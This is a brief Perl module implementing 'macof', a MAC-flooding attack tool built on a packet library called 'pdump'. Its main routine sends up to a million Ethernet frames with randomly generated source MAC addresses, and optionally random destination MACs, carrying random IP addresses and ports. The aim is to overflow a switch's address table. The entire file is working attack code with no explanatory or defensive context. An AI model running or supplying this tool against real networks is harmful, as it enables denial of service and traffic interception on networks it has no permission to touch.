# -sam k (commport5@lucidx.com)

use pdump::Sniff;

sub macof {
 $amt = 1000 unless $amt;
 for ($a = 0; $a < $amt; $a++) {
 $packet = new pdump::Sniff;
 if ($macd) {
  $packet->ethnew($dev, dest => $macd);
 }
 else {
  $packet->ethnew($dev);
 }
 for ($z = 0; $z < $amt; $z++) {
  $mac = &genmac;
  if ($rndmc) {
   $dmac = &genmac;
   if (!$ngrq) {
    print "pdump: $dmac -> $mac\n";
   }
   $packet->ethset(source => $mac, dest => $dmac);
  }
  else {
   if (!$ngrq) {
    print "pdump: $mac\n";
   }
   $packet->ethset(source => $mac);
  }
  $s_host = 17000000+int rand 4261000000 unless $s_host;
  $d_host = 17000000+int rand 4261000000 unless $d_host;
  $s_port = int rand 65535 unless $s_port;
  $d_port = int rand 65535 unless $d_port;
  $packet->set({ip  => {saddr  => $s_host, daddr => $d_host},
                tcp => {source => $s_port, dest  => $d_port}});
  $packet->ethsend;
 }
 }
}
sub genmac {
 my $tmpmac = "00";
 my $z = 0;
 while ($z++ < 5) {
  $tmpmac .= ":" . sprintf("%x",int rand 16);
  $tmpmac .= sprintf("%x",int rand 16);
 }
 return($tmpmac);
}

1;
